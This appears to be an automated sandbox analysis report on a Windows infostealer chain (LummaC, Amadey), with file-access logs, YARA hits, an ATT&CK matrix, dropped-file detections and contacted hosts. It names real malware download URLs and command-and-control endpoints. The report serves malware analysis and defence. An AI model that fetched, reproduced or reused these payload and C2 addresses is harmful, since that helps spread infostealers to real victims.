Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP

Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: number of queries: 1001
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	Directory queried: number of queries: 1001

Source: Yara match	File source: 0000000E.00000003.3031777892.0000000000911000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.3054152585.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.3031777892.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.3033029849.00000000008BF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2936105757.0000000000E32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ANEDNjf.exe PID: 6512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 01b80870ed45442fb720b666633425f9.exe PID: 5864, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ANEDNjf.exe PID: 6512, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 01b80870ed45442fb720b666633425f9.exe PID: 5864, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0019EC48 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,		5_2_0019EC48
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_0019DF51 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::GetInternalContext,		5_2_0019DF51

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	212 Process Injection	111 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	11 Scheduled Task/Job	11 Scheduled Task/Job	41 Obfuscated Files or Information	Security Account Manager	22 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	11 Scheduled Task/Job	Login Hook	Login Hook	221 Software Packing	NTDS	235 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	361 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	361 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 Remote System Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\ANEDNjf[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	100%	Avira	TR/Crypt.XPACK.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\ANEDNjf[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\kf5cl0F[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\ANEDNjf[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\kf5cl0F[1].exe	11%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1017024001\kf5cl0F.exe	11%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1017083001\d274ed0757.exe	53%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\FutureApp\0\Setup.exe	37%	ReversingLabs	Win32.Trojan.NetSupport
C:\Users\user\AppData\Local\Temp\FutureApp\2\2.exe	16%	ReversingLabs
C:\Users\user\AppData\Local\Temp\FutureApp\Ionic.Zip.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\FutureApp\SibClr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\FutureApp\Sibjs.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\FutureApp\Sibuia.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\FutureApp\Zip.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	47%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	67%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Local\Temp\nsiCA01.tmp\siblog.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	67%	ReversingLabs	Win64.Trojan.Nekark

Source	Detection	Scanner	Label
http://31.41.244.11/files/5856379169/kf5cl0F.exeswsock.dllE	0%	Avira URL Cloud	safe
https://cheapptaxysu.click/m	0%	Avira URL Cloud	safe
http://crl.microsoft.#6KOp	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpxe1	100%	Avira URL Cloud	malware
https://treehoneyi.click/apik	0%	Avira URL Cloud	safe
http://31.41.244.11/files/5856379169/kf5cl0F.exe	100%	Avira URL Cloud	phishing
https://aspecteirs.lat/y5	100%	Avira URL Cloud	malware
https://cheapptaxysu.click/U	0%	Avira URL Cloud	safe
https://treehoneyi.click/0	0%	Avira URL Cloud	safe
https://aspecteirs.lat/apip	100%	Avira URL Cloud	malware
https://aspecteirs.lat/apicked	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.phpxe:	100%	Avira URL Cloud	malware
https://aspecteirs.lat/api	100%	Avira URL Cloud	malware
https://treehoneyi.click/	0%	Avira URL Cloud	safe
https://treehoneyi.click/api	0%	Avira URL Cloud	safe
http://31.41.244.11/files/martin/random.exev	0%	Avira URL Cloud	safe
http://31.41.244.11/files/geopoxid/random.exe	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/151334531/Dh5yvWY.exed	0%	Avira URL Cloud	safe
http://www.enigmaprotector.com/	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpxeR	100%	Avira URL Cloud	malware
https://treehoneyi.click/apiZ	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0?	0%	Avira URL Cloud	safe
https://treehoneyi.click/J	0%	Avira URL Cloud	safe
http://31.41.244.11/files/martin/random.exe76T	0%	Avira URL Cloud	safe
https://treehoneyi.click/Q	0%	Avira URL Cloud	safe
http://31.41.244.11/files/martin/random.exef	0%	Avira URL Cloud	safe
https://aspecteirs.lat/9	100%	Avira URL Cloud	malware
http://31.41.244.11/files/martin/random.exe760ac02b4ded8abeee1fbc67e805545b	0%	Avira URL Cloud	safe
http://31.41.244.11/files/martin/random.exeZ	0%	Avira URL Cloud	safe
http://31.41.244.11/files/151334531/Dh5yvWY.exeU	0%	Avira URL Cloud	safe
http://31.41.244.11/files/martin/random.exeO	0%	Avira URL Cloud	safe
http://31.41.244.11/files/martin/random.exe760ac02b4ded8abeee1fbc	0%	Avira URL Cloud	safe
http://www.enigmaprotector.com/openU	0%	Avira URL Cloud	safe
http://31.41.244.11/files/7133490529/ANEDNjf.exe	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/7133490529/ANEDNjf.exer	0%	Avira URL Cloud	safe
http://31.41.244.11/files/martin/random.exeJ	0%	Avira URL Cloud	safe
https://aspecteirs.lat/Gy0j	100%	Avira URL Cloud	malware
https://treehoneyi.click/apiQyU	0%	Avira URL Cloud	safe
https://cheapptaxysu.click/api	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
treehoneyi.click	172.67.180.113	true	true	unknown
cheapptaxysu.click	104.21.67.146	true	true	unknown
github.com	20.233.83.145	true	false	high
raw.githubusercontent.com	185.199.111.133	true	false	high
aspecteirs.lat	104.21.66.85	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
aspecteirs.lat	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
sustainskelet.lat	false		high
rapeflowwj.lat	false		high
energyaffai.lat	false		high
http://31.41.244.11/files/martin/random.exe	false		high
https://aspecteirs.lat/api	true	Avira URL Cloud: malware	unknown
https://treehoneyi.click/api	true	Avira URL Cloud: safe	unknown
grannyejh.lat	false		high
necklacebudi.lat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://treehoneyi.click/apik	ANEDNjf.exe, 0000000D.00000003.2976117198.0000000000E3D000.00000004.00000020.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.3013578942.0000000000E53000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	ANEDNjf.exe, 0000000D.00000003.2858410537.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858547574.0000000005398000.00000004.00000800.00020000.00000000.sdmp, ANEDNjf.exe, 0000000D.00000003.2858333098.000000000539B000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937155557.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2937367783.0000000003AB8000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.2936940880.0000000003ABB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000005.00000002.3352179189.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	false		high
http://crl.microsoft	powershell.exe, 00000008.00000002.2728705513.000000000867F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	Dh5yvWY.exe, 0000002B.00000002.3106984157.000000000040A000.00000004.00000001.01000000.00000014.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	ANEDNjf.exe, 0000000D.00000003.2908849694.00000000053E4000.00000004.00000800.00020000.00000000.sdmp, 01b80870ed45442fb720b666633425f9.exe, 0000000E.00000003.3027879665.0000000003AFD000.00000004.00000800.00020000.00000000.sdmp	false		high
